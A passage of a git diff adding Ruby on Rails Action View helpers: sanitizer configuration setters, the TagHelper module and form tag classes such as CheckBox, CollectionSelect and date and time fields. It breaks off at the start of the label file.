+ def sanitized_allowed_css_properties
+ white_list_sanitizer.allowed_css_properties
+ end
+
+ def sanitized_allowed_css_keywords
+ white_list_sanitizer.allowed_css_keywords
+ end
+
+ def sanitized_shorthand_css_properties
+ white_list_sanitizer.shorthand_css_properties
+ end
+
+ def sanitized_allowed_protocols
+ white_list_sanitizer.allowed_protocols
+ end
+
+ def sanitized_protocol_separator=(value)
+ white_list_sanitizer.protocol_separator = value
+ end
+
+ # Gets the HTML::FullSanitizer instance used by +strip_tags+. Replace with
+ # any object that responds to +sanitize+.
+ #
+ # class Application < Rails::Application
+ # config.action_view.full_sanitizer = MySpecialSanitizer.new
+ # end
+ #
+ def full_sanitizer
+ @full_sanitizer ||= HTML::FullSanitizer.new
+ end
+
+ # Gets the HTML::LinkSanitizer instance used by +strip_links+. Replace with
+ # any object that responds to +sanitize+.
+ #
+ # class Application < Rails::Application
+ # config.action_view.link_sanitizer = MySpecialSanitizer.new
+ # end
+ #
+ def link_sanitizer
+ @link_sanitizer ||= HTML::LinkSanitizer.new
+ end
+
+ # Gets the HTML::WhiteListSanitizer instance used by sanitize and +sanitize_css+.
+ # Replace with any object that responds to +sanitize+.
+ #
+ # class Application < Rails::Application
+ # config.action_view.white_list_sanitizer = MySpecialSanitizer.new
+ # end
+ #
+ def white_list_sanitizer
+ @white_list_sanitizer ||= HTML::WhiteListSanitizer.new
+ end
+
+ # Adds valid HTML attributes that the +sanitize+ helper checks for URIs.
+ #
+ # class Application < Rails::Application
+ # config.action_view.sanitized_uri_attributes = 'lowsrc', 'target'
+ # end
+ #
+ def sanitized_uri_attributes=(attributes)
+ HTML::WhiteListSanitizer.uri_attributes.merge(attributes)
+ end
+
+ # Adds to the Set of 'bad' tags for the +sanitize+ helper.
+ #
+ # class Application < Rails::Application
+ # config.action_view.sanitized_bad_tags = 'embed', 'object'
+ # end
+ #
+ def sanitized_bad_tags=(attributes)
+ HTML::WhiteListSanitizer.bad_tags.merge(attributes)
+ end
+
+ # Adds to the Set of allowed tags for the +sanitize+ helper.
+ #
+ # class Application < Rails::Application
+ # config.action_view.sanitized_allowed_tags = 'table', 'tr', 'td'
+ # end
+ #
+ def sanitized_allowed_tags=(attributes)
+ HTML::WhiteListSanitizer.allowed_tags.merge(attributes)
+ end
+
+ # Adds to the Set of allowed HTML attributes for the +sanitize+ helper.
+ #
+ # class Application < Rails::Application
+ # config.action_view.sanitized_allowed_attributes = 'onclick', 'longdesc'
+ # end
+ #
+ def sanitized_allowed_attributes=(attributes)
+ HTML::WhiteListSanitizer.allowed_attributes.merge(attributes)
+ end
+
+ # Adds to the Set of allowed CSS properties for the #sanitize and +sanitize_css+ helpers.
+ #
+ # class Application < Rails::Application
+ # config.action_view.sanitized_allowed_css_properties = 'expression'
+ # end
+ #
+ def sanitized_allowed_css_properties=(attributes)
+ HTML::WhiteListSanitizer.allowed_css_properties.merge(attributes)
+ end
+
+ # Adds to the Set of allowed CSS keywords for the +sanitize+ and +sanitize_css+ helpers.
+ #
+ # class Application < Rails::Application
+ # config.action_view.sanitized_allowed_css_keywords = 'expression'
+ # end
+ #
+ def sanitized_allowed_css_keywords=(attributes)
+ HTML::WhiteListSanitizer.allowed_css_keywords.merge(attributes)
+ end
+
+ # Adds to the Set of allowed shorthand CSS properties for the +sanitize+ and +sanitize_css+ helpers.
+ #
+ # class Application < Rails::Application
+ # config.action_view.sanitized_shorthand_css_properties = 'expression'
+ # end
+ #
+ def sanitized_shorthand_css_properties=(attributes)
+ HTML::WhiteListSanitizer.shorthand_css_properties.merge(attributes)
+ end
+
+ # Adds to the Set of allowed protocols for the +sanitize+ helper.
+ #
+ # class Application < Rails::Application
+ # config.action_view.sanitized_allowed_protocols = 'ssh', 'feed'
+ # end
+ #
+ def sanitized_allowed_protocols=(attributes)
+ HTML::WhiteListSanitizer.allowed_protocols.merge(attributes)
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/tag_helper.rb b/actionpack/lib/action_view/helpers/tag_helper.rb
new file mode 100644
index 0000000..8c7524e
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tag_helper.rb
@@ -0,0 +1,173 @@
+require 'active_support/core_ext/string/output_safety'
+require 'set'
+
+module ActionView
+ # = Action View Tag Helpers
+ module Helpers #:nodoc:
+ # Provides methods to generate HTML tags programmatically when you can't use
+ # a Builder. By default, they output XHTML compliant tags.
+ module TagHelper
+ extend ActiveSupport::Concern
+ include CaptureHelper
+
+ BOOLEAN_ATTRIBUTES = %w(disabled readonly multiple checked autobuffer
+ autoplay controls loop selected hidden scoped async
+ defer reversed ismap seemless muted required
+ autofocus novalidate formnovalidate open pubdate itemscope).to_set
+ BOOLEAN_ATTRIBUTES.merge(BOOLEAN_ATTRIBUTES.map {|attribute| attribute.to_sym })
+
+ PRE_CONTENT_STRINGS = {
+ :textarea => "\n"
+ }
+
+ # Returns an empty HTML tag of type +name+ which by default is XHTML
+ # compliant. Set +open+ to true to create an open tag compatible
+ # with HTML 4.0 and below. Add HTML attributes by passing an attributes
+ # hash to +options+. Set +escape+ to false to disable attribute value
+ # escaping.
+ #
+ # ==== Options
+ # You can use symbols or strings for the attribute names.
+ #
+ # Use +true+ with boolean attributes that can render with no value, like
+ # +disabled+ and +readonly+.
+ #
+ # HTML5 <tt>data-*</tt> attributes can be set with a single +data+ key
+ # pointing to a hash of sub-attributes.
+ #
+ # To play nicely with JavaScript conventions sub-attributes are dasherized.
+ # For example, a key +user_id+ would render as <tt>data-user-id</tt> and
+ # thus accessed as <tt>dataset.userId</tt>.
+ #
+ # Values are encoded to JSON, with the exception of strings and symbols.
+ # This may come in handy when using jQuery's HTML5-aware <tt>.data()</tt>
+ # from 1.4.3.
+ #
+ # ==== Examples
+ # tag("br")
+ # # => <br />
+ #
+ # tag("br", nil, true)
+ # # => <br>
+ #
+ # tag("input", type: 'text', disabled: true)
+ # # => <input type="text" disabled="disabled" />
+ #
+ # tag("img", src: "open & shut.png")
+ # # => <img src="open & shut.png" />
+ #
+ # tag("img", {src: "open & shut.png"}, false, false)
+ # # => <img src="open & shut.png" />
+ #
+ # tag("div", data: {name: 'Stephen', city_state: %w(Chicago IL)})
+ # # => <div data-name="Stephen" data-city-state="["Chicago","IL"]" />
+ def tag(name, options = nil, open = false, escape = true)
+ "<#{name}#{tag_options(options, escape) if options}#{open ? ">" : " />"}".html_safe
+ end
+
+ # Returns an HTML block tag of type +name+ surrounding the +content+. Add
+ # HTML attributes by passing an attributes hash to +options+.
+ # Instead of passing the content as an argument, you can also use a block
+ # in which case, you pass your +options+ as the second parameter.
+ # Set escape to false to disable attribute value escaping.
+ #
+ # ==== Options
+ # The +options+ hash is used with attributes with no value like (<tt>disabled</tt> and
+ # <tt>readonly</tt>), which you can give a value of true in the +options+ hash. You can use
+ # symbols or strings for the attribute names.
+ #
+ # ==== Examples
+ # content_tag(:p, "Hello world!")
+ # # => <p>Hello world!</p>
+ # content_tag(:div, content_tag(:p, "Hello world!"), class: "strong")
+ # # => <div class="strong"><p>Hello world!</p></div>
+ # content_tag("select", options, multiple: true)
+ # # => <select multiple="multiple">...options...</select>
+ #
+ # <%= content_tag :div, class: "strong" do -%>
+ # Hello world!
+ # <% end -%>
+ # # => <div class="strong">Hello world!</div>
+ def content_tag(name, content_or_options_with_block = nil, options = nil, escape = true, &block)
+ if block_given?
+ options = content_or_options_with_block if content_or_options_with_block.is_a?(Hash)
+ content_tag_string(name, capture(&block), options, escape)
+ else
+ content_tag_string(name, content_or_options_with_block, options, escape)
+ end
+ end
+
+ # Returns a CDATA section with the given +content+. CDATA sections
+ # are used to escape blocks of text containing characters which would
+ # otherwise be recognized as markup. CDATA sections begin with the string
+ # <tt><![CDATA[</tt> and end with (and may not contain) the string <tt>]]></tt>.
+ #
+ # cdata_section("<hello world>")
+ # # => <![CDATA[<hello world>]]>
+ #
+ # cdata_section(File.read("hello_world.txt"))
+ # # => <![CDATA[<hello from a text file]]>
+ #
+ # cdata_section("hello]]>world")
+ # # => <![CDATA[hello]]]]><![CDATA[>world]]>
+ def cdata_section(content)
+ splitted = content.gsub(']]>', ']]]]><![CDATA[>')
+ "<![CDATA[#{splitted}]]>".html_safe
+ end
+
+ # Returns an escaped version of +html+ without affecting existing escaped entities.
+ #
+ # escape_once("1 < 2 & 3")
+ # # => "1 < 2 & 3"
+ #
+ # escape_once("<< Accept & Checkout")
+ # # => "<< Accept & Checkout"
+ def escape_once(html)
+ ERB::Util.html_escape_once(html)
+ end
+
+ private
+
+ def content_tag_string(name, content, options, escape = true)
+ tag_options = tag_options(options, escape) if options
+ content = ERB::Util.h(content) if escape
+ "<#{name}#{tag_options}>#{PRE_CONTENT_STRINGS[name.to_sym]}#{content}</#{name}>".html_safe
+ end
+
+ def tag_options(options, escape = true)
+ return if options.blank?
+ attrs = []
+ options.each_pair do |key, value|
+ if key.to_s == 'data' && value.is_a?(Hash)
+ value.each_pair do |k, v|
+ attrs << data_tag_option(k, v, escape)
+ end
+ elsif BOOLEAN_ATTRIBUTES.include?(key)
+ attrs << boolean_tag_option(key) if value
+ elsif !value.nil?
+ attrs << tag_option(key, value, escape)
+ end
+ end
+ " #{attrs.sort * ' '}".html_safe unless attrs.empty?
+ end
+
+ def data_tag_option(key, value, escape)
+ key = "data-#{key.to_s.dasherize}"
+ unless value.is_a?(String) || value.is_a?(Symbol) || value.is_a?(BigDecimal)
+ value = value.to_json
+ end
+ tag_option(key, value, escape)
+ end
+
+ def boolean_tag_option(key)
+ %(#{key}="#{key}")
+ end
+
+ def tag_option(key, value, escape)
+ value = value.join(" ") if value.is_a?(Array)
+ value = ERB::Util.h(value) if escape
+ %(#{key}="#{value}")
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/tags.rb b/actionpack/lib/action_view/helpers/tags.rb
new file mode 100644
index 0000000..a05e169
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags.rb
@@ -0,0 +1,39 @@
+module ActionView
+ module Helpers
+ module Tags #:nodoc:
+ extend ActiveSupport::Autoload
+
+ autoload :Base
+ autoload :CheckBox
+ autoload :CollectionCheckBoxes
+ autoload :CollectionRadioButtons
+ autoload :CollectionSelect
+ autoload :ColorField
+ autoload :DateField
+ autoload :DateSelect
+ autoload :DatetimeField
+ autoload :DatetimeLocalField
+ autoload :DatetimeSelect
+ autoload :EmailField
+ autoload :FileField
+ autoload :GroupedCollectionSelect
+ autoload :HiddenField
+ autoload :Label
+ autoload :MonthField
+ autoload :NumberField
+ autoload :PasswordField
+ autoload :RadioButton
+ autoload :RangeField
+ autoload :SearchField
+ autoload :Select
+ autoload :TelField
+ autoload :TextArea
+ autoload :TextField
+ autoload :TimeField
+ autoload :TimeSelect
+ autoload :TimeZoneSelect
+ autoload :UrlField
+ autoload :WeekField
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/base.rb b/actionpack/lib/action_view/helpers/tags/base.rb
new file mode 100644
index 0000000..3fe3f4e
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/base.rb
@@ -0,0 +1,147 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class Base # :nodoc:
+ include Helpers::ActiveModelInstanceTag, Helpers::TagHelper, Helpers::FormTagHelper
+ include FormOptionsHelper
+
+ attr_reader :object
+
+ def initialize(object_name, method_name, template_object, options = {})
+ @object_name, @method_name = object_name.to_s.dup, method_name.to_s.dup
+ @template_object = template_object
+
+ @object_name.sub!(/\[\]$/,"") || @object_name.sub!(/\[\]\]$/,"]")
+ @object = retrieve_object(options.delete(:object))
+ @options = options
+ @auto_index = retrieve_autoindex(Regexp.last_match.pre_match) if Regexp.last_match
+ end
+
+ # This is what child classes implement.
+ def render
+ raise NotImplementedError, "Subclasses must implement a render method"
+ end
+
+ private
+
+ def value(object)
+ object.send @method_name if object
+ end
+
+ def value_before_type_cast(object)
+ unless object.nil?
+ method_before_type_cast = @method_name + "_before_type_cast"
+
+ object.respond_to?(method_before_type_cast) ?
+ object.send(method_before_type_cast) :
+ value(object)
+ end
+ end
+
+ def retrieve_object(object)
+ if object
+ object
+ elsif @template_object.instance_variable_defined?("@#{@object_name}")
+ @template_object.instance_variable_get("@#{@object_name}")
+ end
+ rescue NameError
+ # As @object_name may contain the nested syntax (item[subobject]) we need to fallback to nil.
+ nil
+ end
+
+ def retrieve_autoindex(pre_match)
+ object = self.object || @template_object.instance_variable_get("@#{pre_match}")
+ if object && object.respond_to?(:to_param)
+ object.to_param
+ else
+ raise ArgumentError, "object[] naming but object param and @object var don't exist or don't respond to to_param: #{object.inspect}"
+ end
+ end
+
+ def add_default_name_and_id_for_value(tag_value, options)
+ if tag_value.nil?
+ add_default_name_and_id(options)
+ else
+ specified_id = options["id"]
+ add_default_name_and_id(options)
+
+ if specified_id.blank? && options["id"].present?
+ options["id"] += "_#{sanitized_value(tag_value)}"
+ end
+ end
+ end
+
+ def add_default_name_and_id(options)
+ if options.has_key?("index")
+ options["name"] ||= options.fetch("name"){ tag_name_with_index(options["index"], options["multiple"]) }
+ options["id"] = options.fetch("id"){ tag_id_with_index(options["index"]) }
+ options.delete("index")
+ elsif defined?(@auto_index)
+ options["name"] ||= options.fetch("name"){ tag_name_with_index(@auto_index, options["multiple"]) }
+ options["id"] = options.fetch("id"){ tag_id_with_index(@auto_index) }
+ else
+ options["name"] ||= options.fetch("name"){ tag_name(options["multiple"]) }
+ options["id"] = options.fetch("id"){ tag_id }
+ end
+
+ options["id"] = [options.delete('namespace'), options["id"]].compact.join("_").presence
+ end
+
+ def tag_name(multiple = false)
+ "#{@object_name}[#{sanitized_method_name}]#{"[]" if multiple}"
+ end
+
+ def tag_name_with_index(index, multiple = false)
+ "#{@object_name}[#{index}][#{sanitized_method_name}]#{"[]" if multiple}"
+ end
+
+ def tag_id
+ "#{sanitized_object_name}_#{sanitized_method_name}"
+ end
+
+ def tag_id_with_index(index)
+ "#{sanitized_object_name}_#{index}_#{sanitized_method_name}"
+ end
+
+ def sanitized_object_name
+ @sanitized_object_name ||= @object_name.gsub(/\]\[|[^-a-zA-Z0-9:.]/, "_").sub(/_$/, "")
+ end
+
+ def sanitized_method_name
+ @sanitized_method_name ||= @method_name.sub(/\?$/,"")
+ end
+
+ def sanitized_value(value)
+ value.to_s.gsub(/\s/, "_").gsub(/[^-\w]/, "").downcase
+ end
+
+ def select_content_tag(option_tags, options, html_options)
+ html_options = html_options.stringify_keys
+ add_default_name_and_id(html_options)
+ options[:include_blank] ||= true unless options[:prompt] || select_not_required?(html_options)
+ select = content_tag("select", add_options(option_tags, options, value(object)), html_options)
+
+ if html_options["multiple"] && options.fetch(:include_hidden, true)
+ tag("input", :disabled => html_options["disabled"], :name => html_options["name"], :type => "hidden", :value => "") + select
+ else
+ select
+ end
+ end
+
+ def select_not_required?(html_options)
+ !html_options["required"] || html_options["multiple"] || html_options["size"].to_i > 1
+ end
+
+ def add_options(option_tags, options, value = nil)
+ if options[:include_blank]
+ option_tags = content_tag_string('option', options[:include_blank].kind_of?(String) ? options[:include_blank] : nil, :value => '') + "\n" + option_tags
+ end
+ if value.blank? && options[:prompt]
+ option_tags = content_tag_string('option', prompt_text(options[:prompt]), :value => '') + "\n" + option_tags
+ end
+ option_tags
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/check_box.rb b/actionpack/lib/action_view/helpers/tags/check_box.rb
new file mode 100644
index 0000000..6d51f26
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/check_box.rb
@@ -0,0 +1,64 @@
+require 'action_view/helpers/tags/checkable'
+
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class CheckBox < Base #:nodoc:
+ include Checkable
+
+ def initialize(object_name, method_name, template_object, checked_value, unchecked_value, options)
+ @checked_value = checked_value
+ @unchecked_value = unchecked_value
+ super(object_name, method_name, template_object, options)
+ end
+
+ def render
+ options = @options.stringify_keys
+ options["type"] = "checkbox"
+ options["value"] = @checked_value
+ options["checked"] = "checked" if input_checked?(object, options)
+
+ if options["multiple"]
+ add_default_name_and_id_for_value(@checked_value, options)
+ options.delete("multiple")
+ else
+ add_default_name_and_id(options)
+ end
+
+ include_hidden = options.delete("include_hidden") { true }
+ checkbox = tag("input", options)
+
+ if include_hidden
+ hidden = hidden_field_for_checkbox(options)
+ hidden + checkbox
+ else
+ checkbox
+ end
+ end
+
+ private
+
+ def checked?(value)
+ case value
+ when TrueClass, FalseClass
+ value == !!@checked_value
+ when NilClass
+ false
+ when String
+ value == @checked_value
+ else
+ if value.respond_to?(:include?)
+ value.include?(@checked_value)
+ else
+ value.to_i == @checked_value.to_i
+ end
+ end
+ end
+
+ def hidden_field_for_checkbox(options)
+ @unchecked_value ? tag("input", options.slice("name", "disabled", "form").merge!("type" => "hidden", "value" => @unchecked_value)) : "".html_safe
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/checkable.rb b/actionpack/lib/action_view/helpers/tags/checkable.rb
new file mode 100644
index 0000000..052e9df
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/checkable.rb
@@ -0,0 +1,16 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ module Checkable # :nodoc:
+ def input_checked?(object, options)
+ if options.has_key?("checked")
+ checked = options.delete "checked"
+ checked == true || checked == "checked"
+ else
+ checked?(value(object))
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/collection_check_boxes.rb b/actionpack/lib/action_view/helpers/tags/collection_check_boxes.rb
new file mode 100644
index 0000000..52006d8
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/collection_check_boxes.rb
@@ -0,0 +1,43 @@
+require 'action_view/helpers/tags/collection_helpers'
+
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class CollectionCheckBoxes < Base # :nodoc:
+ include CollectionHelpers
+
+ class CheckBoxBuilder < Builder # :nodoc:
+ def check_box(extra_html_options={})
+ html_options = extra_html_options.merge(@input_html_options)
+ @template_object.check_box(@object_name, @method_name, html_options, @value, nil)
+ end
+ end
+
+ def render(&block)
+ rendered_collection = render_collection do |item, value, text, default_html_options|
+ default_html_options[:multiple] = true
+ builder = instantiate_builder(CheckBoxBuilder, item, value, text, default_html_options)
+
+ if block_given?
+ @template_object.capture(builder, &block)
+ else
+ render_component(builder)
+ end
+ end
+
+ # Append a hidden field to make sure something will be sent back to the
+ # server if all check boxes are unchecked.
+ hidden = @template_object.hidden_field_tag("#{tag_name}[]", "", :id => nil)
+
+ rendered_collection + hidden
+ end
+
+ private
+
+ def render_component(builder)
+ builder.check_box + builder.label
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/collection_helpers.rb b/actionpack/lib/action_view/helpers/tags/collection_helpers.rb
new file mode 100644
index 0000000..cd12dda
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/collection_helpers.rb
@@ -0,0 +1,83 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ module CollectionHelpers # :nodoc:
+ class Builder # :nodoc:
+ attr_reader :object, :text, :value
+
+ def initialize(template_object, object_name, method_name, object,
+ sanitized_attribute_name, text, value, input_html_options)
+ @template_object = template_object
+ @object_name = object_name
+ @method_name = method_name
+ @object = object
+ @sanitized_attribute_name = sanitized_attribute_name
+ @text = text
+ @value = value
+ @input_html_options = input_html_options
+ end
+
+ def label(label_html_options={}, &block)
+ @template_object.label(@object_name, @sanitized_attribute_name, @text, label_html_options, &block)
+ end
+ end
+
+ def initialize(object_name, method_name, template_object, collection, value_method, text_method, options, html_options)
+ @collection = collection
+ @value_method = value_method
+ @text_method = text_method
+ @html_options = html_options
+
+ super(object_name, method_name, template_object, options)
+ end
+
+ private
+
+ def instantiate_builder(builder_class, item, value, text, html_options)
+ builder_class.new(@template_object, @object_name, @method_name, item,
+ sanitize_attribute_name(value), text, value, html_options)
+ end
+
+ # Generate default options for collection helpers, such as :checked and
+ # :disabled.
+ def default_html_options_for_collection(item, value) #:nodoc:
+ html_options = @html_options.dup
+
+ [:checked, :selected, :disabled].each do |option|
+ current_value = @options[option]
+ next if current_value.nil?
+
+ accept = if current_value.respond_to?(:call)
+ current_value.call(item)
+ else
+ Array(current_value).map(&:to_s).include?(value.to_s)
+ end
+
+ if accept
+ html_options[option] = true
+ elsif option == :checked
+ html_options[option] = false
+ end
+ end
+
+ html_options[:object] = @object
+ html_options
+ end
+
+ def sanitize_attribute_name(value) #:nodoc:
+ "#{sanitized_method_name}_#{sanitized_value(value)}"
+ end
+
+ def render_collection #:nodoc:
+ @collection.map do |item|
+ value = value_for_collection(item, @value_method)
+ text = value_for_collection(item, @text_method)
+ default_html_options = default_html_options_for_collection(item, value)
+
+ yield item, value, text, default_html_options
+ end.join.html_safe
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/collection_radio_buttons.rb b/actionpack/lib/action_view/helpers/tags/collection_radio_buttons.rb
new file mode 100644
index 0000000..20be34c
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/collection_radio_buttons.rb
@@ -0,0 +1,36 @@
+require 'action_view/helpers/tags/collection_helpers'
+
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class CollectionRadioButtons < Base # :nodoc:
+ include CollectionHelpers
+
+ class RadioButtonBuilder < Builder # :nodoc:
+ def radio_button(extra_html_options={})
+ html_options = extra_html_options.merge(@input_html_options)
+ @template_object.radio_button(@object_name, @method_name, @value, html_options)
+ end
+ end
+
+ def render(&block)
+ render_collection do |item, value, text, default_html_options|
+ builder = instantiate_builder(RadioButtonBuilder, item, value, text, default_html_options)
+
+ if block_given?
+ @template_object.capture(builder, &block)
+ else
+ render_component(builder)
+ end
+ end
+ end
+
+ private
+
+ def render_component(builder)
+ builder.radio_button + builder.label
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/collection_select.rb b/actionpack/lib/action_view/helpers/tags/collection_select.rb
new file mode 100644
index 0000000..6cb2b2e
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/collection_select.rb
@@ -0,0 +1,28 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class CollectionSelect < Base #:nodoc:
+ def initialize(object_name, method_name, template_object, collection, value_method, text_method, options, html_options)
+ @collection = collection
+ @value_method = value_method
+ @text_method = text_method
+ @html_options = html_options
+
+ super(object_name, method_name, template_object, options)
+ end
+
+ def render
+ option_tags_options = {
+ :selected => @options.fetch(:selected) { value(@object) },
+ :disabled => @options[:disabled]
+ }
+
+ select_content_tag(
+ options_from_collection_for_select(@collection, @value_method, @text_method, option_tags_options),
+ @options, @html_options
+ )
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/color_field.rb b/actionpack/lib/action_view/helpers/tags/color_field.rb
new file mode 100644
index 0000000..d8fc797
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/color_field.rb
@@ -0,0 +1,25 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class ColorField < TextField # :nodoc:
+ def render
+ options = @options.stringify_keys
+ options["value"] = @options.fetch("value") { validate_color_string(value(object)) }
+ @options = options
+ super
+ end
+
+ private
+
+ def validate_color_string(string)
+ regex = /#[0-9a-fA-F]{6}/
+ if regex.match(string)
+ string.downcase
+ else
+ "#000000"
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/date_field.rb b/actionpack/lib/action_view/helpers/tags/date_field.rb
new file mode 100644
index 0000000..c22be0d
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/date_field.rb
@@ -0,0 +1,13 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class DateField < DatetimeField # :nodoc:
+ private
+
+ def format_date(value)
+ value.try(:strftime, "%Y-%m-%d")
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/date_select.rb b/actionpack/lib/action_view/helpers/tags/date_select.rb
new file mode 100644
index 0000000..0c4ac40
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/date_select.rb
@@ -0,0 +1,72 @@
+require 'active_support/core_ext/time/calculations'
+
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class DateSelect < Base # :nodoc:
+ def initialize(object_name, method_name, template_object, options, html_options)
+ @html_options = html_options
+
+ super(object_name, method_name, template_object, options)
+ end
+
+ def render
+ error_wrapping(datetime_selector(@options, @html_options).send("select_#{select_type}").html_safe)
+ end
+
+ class << self
+ def select_type
+ @select_type ||= self.name.split("::").last.sub("Select", "").downcase
+ end
+ end
+
+ private
+
+ def select_type
+ self.class.select_type
+ end
+
+ def datetime_selector(options, html_options)
+ datetime = options.fetch(:selected) { value(object) || default_datetime(options) }
+ @auto_index ||= nil
+
+ options = options.dup
+ options[:field_name] = @method_name
+ options[:include_position] = true
+ options[:prefix] ||= @object_name
+ options[:index] = @auto_index if @auto_index && !options.has_key?(:index)
+
+ DateTimeSelector.new(datetime, options, html_options)
+ end
+
+ def default_datetime(options)
+ return if options[:include_blank] || options[:prompt]
+
+ case options[:default]
+ when nil
+ Time.current
+ when Date, Time
+ options[:default]
+ else
+ default = options[:default].dup
+
+ # Rename :minute and :second to :min and :sec
+ default[:min] ||= default[:minute]
+ default[:sec] ||= default[:second]
+
+ time = Time.current
+
+ [:year, :month, :day, :hour, :min, :sec].each do |key|
+ default[key] ||= time.send(key)
+ end
+
+ Time.utc(
+ default[:year], default[:month], default[:day],
+ default[:hour], default[:min], default[:sec]
+ )
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/datetime_field.rb b/actionpack/lib/action_view/helpers/tags/datetime_field.rb
new file mode 100644
index 0000000..9a2279c
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/datetime_field.rb
@@ -0,0 +1,22 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class DatetimeField < TextField # :nodoc:
+ def render
+ options = @options.stringify_keys
+ options["value"] = @options.fetch("value") { format_date(value(object)) }
+ options["min"] = format_date(options["min"])
+ options["max"] = format_date(options["max"])
+ @options = options
+ super
+ end
+
+ private
+
+ def format_date(value)
+ value.try(:strftime, "%Y-%m-%dT%T.%L%z")
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/datetime_local_field.rb b/actionpack/lib/action_view/helpers/tags/datetime_local_field.rb
new file mode 100644
index 0000000..b4a7418
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/datetime_local_field.rb
@@ -0,0 +1,19 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class DatetimeLocalField < DatetimeField # :nodoc:
+ class << self
+ def field_type
+ @field_type ||= "datetime-local"
+ end
+ end
+
+ private
+
+ def format_date(value)
+ value.try(:strftime, "%Y-%m-%dT%T")
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/datetime_select.rb b/actionpack/lib/action_view/helpers/tags/datetime_select.rb
new file mode 100644
index 0000000..563de18
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/datetime_select.rb
@@ -0,0 +1,8 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class DatetimeSelect < DateSelect # :nodoc:
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/email_field.rb b/actionpack/lib/action_view/helpers/tags/email_field.rb
new file mode 100644
index 0000000..7ce3ccb
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/email_field.rb
@@ -0,0 +1,8 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class EmailField < TextField # :nodoc:
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/file_field.rb b/actionpack/lib/action_view/helpers/tags/file_field.rb
new file mode 100644
index 0000000..476b820
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/file_field.rb
@@ -0,0 +1,8 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class FileField < TextField # :nodoc:
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/grouped_collection_select.rb b/actionpack/lib/action_view/helpers/tags/grouped_collection_select.rb
new file mode 100644
index 0000000..2ed4712
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/grouped_collection_select.rb
@@ -0,0 +1,29 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class GroupedCollectionSelect < Base # :nodoc:
+ def initialize(object_name, method_name, template_object, collection, group_method, group_label_method, option_key_method, option_value_method, options, html_options)
+ @collection = collection
+ @group_method = group_method
+ @group_label_method = group_label_method
+ @option_key_method = option_key_method
+ @option_value_method = option_value_method
+ @html_options = html_options
+
+ super(object_name, method_name, template_object, options)
+ end
+
+ def render
+ option_tags_options = {
+ :selected => @options.fetch(:selected) { value(@object) },
+ :disabled => @options[:disabled]
+ }
+
+ select_content_tag(
+ option_groups_from_collection_for_select(@collection, @group_method, @group_label_method, @option_key_method, @option_value_method, option_tags_options), @options, @html_options
+ )
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/hidden_field.rb b/actionpack/lib/action_view/helpers/tags/hidden_field.rb
new file mode 100644
index 0000000..c3757c2
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/tags/hidden_field.rb
@@ -0,0 +1,8 @@
+module ActionView
+ module Helpers
+ module Tags # :nodoc:
+ class HiddenField < TextField # :nodoc:
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/tags/label.rb b/actionpack/lib/action_view/helpers/tags/label.rb
new file mode 100644
index 0000000..35d3ba8
--- /dev/null
